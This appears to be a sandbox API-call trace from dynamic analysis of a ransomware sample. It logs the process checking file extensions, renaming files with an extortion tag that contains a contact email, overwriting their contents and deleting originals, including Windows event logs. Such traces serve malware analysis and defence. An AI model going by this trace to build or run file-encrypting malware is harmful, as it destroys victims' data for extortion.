	[0073.543] WriteFile (in: hFile=0x35c, lpBuffer=0x3e9b9d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e9b9d8*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.545] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e9b9d8 | out: hHeap=0x500000) returned 1
	[0073.547] CloseHandle (hObject=0x35c) returned 1
	[0076.308] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0076.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.308] lstrlenW (lpString=".doc") returned 4
	[0076.308] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0076.308] lstrlenW (lpString=".docx") returned 5
	[0076.308] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1
	[0076.308] lstrlenW (lpString=".pdf") returned 4
	[0076.308] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0076.308] lstrlenW (lpString=".xls") returned 4
	[0076.308] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0076.308] lstrlenW (lpString=".xlsx") returned 5
	[0076.308] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1
	[0076.308] lstrlenW (lpString=".ppt") returned 4
	[0076.308] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0076.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.309] lstrlenW (lpString=".zip") returned 4
	[0076.309] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0076.309] lstrlenW (lpString=".rar") returned 4
	[0076.309] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0076.309] lstrlenW (lpString=".bz2") returned 4
	[0076.309] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0076.309] lstrlenW (lpString=".7z") returned 3
	[0076.309] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0076.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.309] lstrlenW (lpString=".dbf") returned 4
	[0076.309] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0076.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.309] lstrlenW (lpString=".1cd") returned 4
	[0076.309] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0076.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.309] lstrlenW (lpString=".jpg") returned 4
	[0076.309] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0076.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.309] lstrlenW (lpString=".doc") returned 4
	[0076.309] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0076.309] lstrlenW (lpString=".docx") returned 5
	[0076.309] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1
	[0076.309] lstrlenW (lpString=".pdf") returned 4
	[0076.309] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0076.309] lstrlenW (lpString=".xls") returned 4
	[0076.309] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0076.309] lstrlenW (lpString=".xlsx") returned 5
	[0076.309] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1
	[0076.309] lstrlenW (lpString=".ppt") returned 4
	[0076.309] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0076.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.309] lstrlenW (lpString=".zip") returned 4
	[0076.309] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0076.309] lstrlenW (lpString=".rar") returned 4
	[0076.309] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0076.309] lstrlenW (lpString=".bz2") returned 4
	[0076.310] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0076.310] lstrlenW (lpString=".7z") returned 3
	[0076.310] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0076.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.310] lstrlenW (lpString=".dbf") returned 4
	[0076.310] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0076.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.310] lstrlenW (lpString=".1cd") returned 4
	[0076.310] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0076.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0076.310] lstrlenW (lpString=".jpg") returned 4
	[0076.310] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0076.310] lstrcmpiW (lpString1=".msu", lpString2=".Z9") returned -1
	[0076.310] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33
	[0076.310] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.310] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=5091790) returned 1
	[0076.310] CloseHandle (hObject=0x35c) returned 1
	[0076.310] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80
	[0076.311] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0076.311] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0076.311] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.311] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0x0) returned 1
	[0076.311] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0076.311] ReadFile (in: hFile=0x35c, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0076.315] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0076.315] ReadFile (in: hFile=0x35c, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0076.322] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.322] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1
	[0076.322] ReadFile (in: hFile=0x35c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0076.337] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.337] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x350fca8, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0076.904] SetEndOfFile (hFile=0x35c) returned 1
	[0076.904] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e339a8
	[0076.910] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.910] WriteFile (in: hFile=0x35c, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.911] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.912] WriteFile (in: hFile=0x35c, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.914] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.914] WriteFile (in: hFile=0x35c, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.916] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0076.916] CloseHandle (hObject=0x35c) returned 1
	[0078.426] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0078.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.426] lstrlenW (lpString=".doc") returned 4
	[0078.426] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0078.426] lstrlenW (lpString=".docx") returned 5
	[0078.426] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0078.426] lstrlenW (lpString=".pdf") returned 4
	[0078.426] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0078.426] lstrlenW (lpString=".xls") returned 4
	[0078.426] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0078.426] lstrlenW (lpString=".xlsx") returned 5
	[0078.426] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0078.426] lstrlenW (lpString=".ppt") returned 4
	[0078.426] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0078.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.427] lstrlenW (lpString=".zip") returned 4
	[0078.427] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0078.427] lstrlenW (lpString=".rar") returned 4
	[0078.427] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0078.427] lstrlenW (lpString=".bz2") returned 4
	[0078.427] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0078.427] lstrlenW (lpString=".7z") returned 3
	[0078.427] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0078.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.427] lstrlenW (lpString=".dbf") returned 4
	[0078.427] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0078.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.427] lstrlenW (lpString=".1cd") returned 4
	[0078.427] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0078.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.427] lstrlenW (lpString=".jpg") returned 4
	[0078.427] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0078.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.427] lstrlenW (lpString=".doc") returned 4
	[0078.427] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0078.427] lstrlenW (lpString=".docx") returned 5
	[0078.427] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0078.427] lstrlenW (lpString=".pdf") returned 4
	[0078.427] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0078.427] lstrlenW (lpString=".xls") returned 4
	[0078.427] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0078.427] lstrlenW (lpString=".xlsx") returned 5
	[0078.427] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0078.427] lstrlenW (lpString=".ppt") returned 4
	[0078.427] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0078.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.427] lstrlenW (lpString=".zip") returned 4
	[0078.427] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0078.427] lstrlenW (lpString=".rar") returned 4
	[0078.428] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0078.428] lstrlenW (lpString=".bz2") returned 4
	[0078.428] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0078.428] lstrlenW (lpString=".7z") returned 3
	[0078.428] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0078.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.428] lstrlenW (lpString=".dbf") returned 4
	[0078.428] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0078.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.428] lstrlenW (lpString=".1cd") returned 4
	[0078.428] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0078.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0078.428] lstrlenW (lpString=".jpg") returned 4
	[0078.428] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0078.428] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.428] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45
	[0078.428] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0078.488] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0078.488] CloseHandle (hObject=0x360) returned 1
	[0078.488] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20
	[0078.488] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.488] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0078.488] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.488] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.488] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.906] GetLastError () returned 0x0
	[0078.907] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.909] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.911] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.911] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0078.911] SetEndOfFile (hFile=0x390) returned 1
	[0078.911] CloseHandle (hObject=0x390) returned 1
	[0078.914] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.914] SetEndOfFile (hFile=0x360) returned 1
	[0078.915] CloseHandle (hObject=0x360) returned 1
	[0078.915] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.915] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1
	[0078.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.916] lstrlenW (lpString=".doc") returned 4
	[0078.916] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString=".docx") returned 5
	[0078.916] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.916] lstrlenW (lpString=".pdf") returned 4
	[0078.916] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString=".xls") returned 4
	[0078.916] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString=".xlsx") returned 5
	[0078.916] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.916] lstrlenW (lpString=".ppt") returned 4
	[0078.916] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.916] lstrlenW (lpString=".zip") returned 4
	[0078.916] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString=".rar") returned 4
	[0078.916] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString=".bz2") returned 4
	[0078.916] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString=".7z") returned 3
	[0078.916] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.916] lstrlenW (lpString=".dbf") returned 4
	[0078.916] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.916] lstrlenW (lpString=".1cd") returned 4
	[0078.916] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.916] lstrlenW (lpString=".jpg") returned 4
	[0078.916] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.916] lstrlenW (lpString=".doc") returned 4
	[0078.917] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.917] lstrlenW (lpString=".docx") returned 5
	[0078.917] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.917] lstrlenW (lpString=".pdf") returned 4
	[0078.917] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.917] lstrlenW (lpString=".xls") returned 4
	[0078.917] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.917] lstrlenW (lpString=".xlsx") returned 5
	[0078.917] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.917] lstrlenW (lpString=".ppt") returned 4
	[0078.917] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.917] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.917] lstrlenW (lpString=".zip") returned 4
	[0078.917] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.917] lstrlenW (lpString=".rar") returned 4
	[0078.917] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.917] lstrlenW (lpString=".bz2") returned 4
	[0078.917] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.917] lstrlenW (lpString=".7z") returned 3
	[0078.917] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.917] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.917] lstrlenW (lpString=".dbf") returned 4
	[0078.917] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.917] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.917] lstrlenW (lpString=".1cd") returned 4
	[0078.917] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.917] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0078.917] lstrlenW (lpString=".jpg") returned 4
	[0078.917] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.917] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.918] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42
	[0078.918] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0078.918] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0078.918] CloseHandle (hObject=0x360) returned 1
	[0078.918] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20
	[0078.918] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.918] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0078.918] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.918] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.918] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.919] GetLastError () returned 0x0
	[0078.919] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.922] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
